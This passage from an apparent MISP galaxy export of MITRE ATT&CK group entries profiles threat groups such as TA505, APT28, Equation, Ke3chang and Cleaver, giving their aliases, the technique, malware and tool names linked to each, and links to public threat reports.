uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="SOUNDBITE - S0157" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="PHOREAL - S0158" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Arp - S0099" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Signed Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="OSX_OCEANLOTUS.D - S0352" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"

Table 2995. Table References
Links
https://attack.mitre.org/groups/G0050
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/
https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/
https://www.cybereason.com/blog/operation-cobalt-kitty-apt

TA505 - G0092

[TA505](https://attack.mitre.org/groups/G0092) is a financially motivated threat group that has been active since at least 2014. The group is known for frequently changing malware and driving global trends in criminal malware distribution.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)

The tag is: misp-galaxy:mitre-intrusion-set="TA505 - G0092"

TA505 - G0092 is also known as:

TA505

TA505 - G0092 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="TrickBot - S0266" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="FlawedAmmyy - S0381" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Signed Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="ServHelper - S0382" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="FlawedGrace - S0383" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Dridex - S0384" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"

Table 2996. Table References
Links
https://attack.mitre.org/groups/G0092
https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter
https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times
https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505

APT28 - G0007

[APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia’s Main Intelligence Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice indictment. This group reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. [APT28](https://attack.mitre.org/groups/G0007) has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Technica GRU indictment Jul 2018) (Citation: Crowdstrike DNC June 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018) (Citation: ESET Zebrocy May 2019)

The tag is: misp-galaxy:mitre-intrusion-set="APT28 - G0007"

APT28 - G0007 is also known as:

APT28
SNAKEMACKEREL
Swallowtail
Group 74
Sednit
Sofacy
Pawn Storm
Fancy Bear
STRONTIUM
Tsar Team
Threat Group-4127
TG-4127

APT28 - G0007 has relationships with:

similar: misp-galaxy:microsoft-activity-group="STRONTIUM" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="Sofacy" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-malware="USBStealer - S0136" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="HIDEDRV - S0135" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Responder - S0174" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="JHUHUGIT - S0044" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1122" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Logon Scripts - T1037" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="DealersChoice - S0243" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="ADVSTORESHELL - S0045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="OLDBAIT - S0138" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="certutil - S0160" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="XAgentOSX - S0161" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="XTunnel - S0117" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Winexe - S0191" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Koadic - S0250" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Zebrocy - S0251" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Forfiles - S0193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="CORESHELL - S0137" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Cannon - S0351" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="CHOPSTICK - S0023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Komplex - S0162" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="LoJax - S0397" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Downdelph - S0134" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Fysbis - S0410" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Application Access Token - T1527" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="X-Agent for Android - S0314" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obtain/re-use payloads - T1346" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Buy domain name - T1328" with estimative-language:likelihood-probability="almost-certain"

Table 2997. Table References
Links
https://attack.mitre.org/groups/G0007
https://www.justice.gov/file/1080281/download
https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf
https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf
https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/
https://www.symantec.com/blogs/election-security/apt28-espionage-military-government
https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf
https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html
https://securelist.com/a-slice-of-2017-sofacy-activity/83930/
https://www.accenture.com/t20181129T203820Zw/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50[https://www.accenture.com/t20181129T203820Zw/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50]
https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/

Equation - G0020

[Equation](https://attack.mitre.org/groups/G0020) is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)

The tag is: misp-galaxy:mitre-intrusion-set="Equation - G0020"

Equation - G0020 is also known as:

Equation

Equation - G0020 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Component Firmware - T1109" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"

Table 2998. Table References
Links
https://attack.mitre.org/groups/G0020
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf

Moafee - G0002

[Moafee](https://attack.mitre.org/groups/G0002) is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group [DragonOK](https://attack.mitre.org/groups/G0017). (Citation: Haq 2014)

The tag is: misp-galaxy:mitre-intrusion-set="Moafee - G0002"

Moafee - G0002 is also known as:

Moafee

Moafee - G0002 has relationships with:

similar: misp-galaxy:threat-actor="DragonOK" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"

Table 2999. Table References
Links
https://attack.mitre.org/groups/G0002
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html

Ke3chang - G0004

[Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China. [Ke3chang](https://attack.mitre.org/groups/G0004) has targeted several industries, including oil, government, military, and more. (Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)

The tag is: misp-galaxy:mitre-intrusion-set="Ke3chang - G0004"

Ke3chang - G0004 is also known as:

Ke3chang
APT15
Mirage
Vixen Panda
GREF
Playful Dragon
RoyalAPT

Ke3chang - G0004 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="MirageFox - S0280" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="spwebmember - S0227" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 3000. Table References
Links
https://attack.mitre.org/groups/G0004
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/
https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/

Cleaver - G0003

[Cleaver](https://attack.mitre.org/groups/G0003) is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)

The tag is: misp-galaxy:mitre-intrusion-set="Cleaver - G0003"

Cleaver - G0003 is also known as:

Cleaver
Threat Group 2889
TG-2889

Cleaver - G0003 has relationships with:

similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="TinyZBot - S0004" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Net Crawler - S0056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscation or cryptography - T1313" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Build social network persona - T1341" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Develop social network persona digital footprint - T1342" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Create custom payloads - T1345" with estimative-language:likelihood-probability="almost-certain"

Table 3001. Table References
Links
https://attack.mitre.org/groups/G0003
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf
http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/

Patchwork - G0040

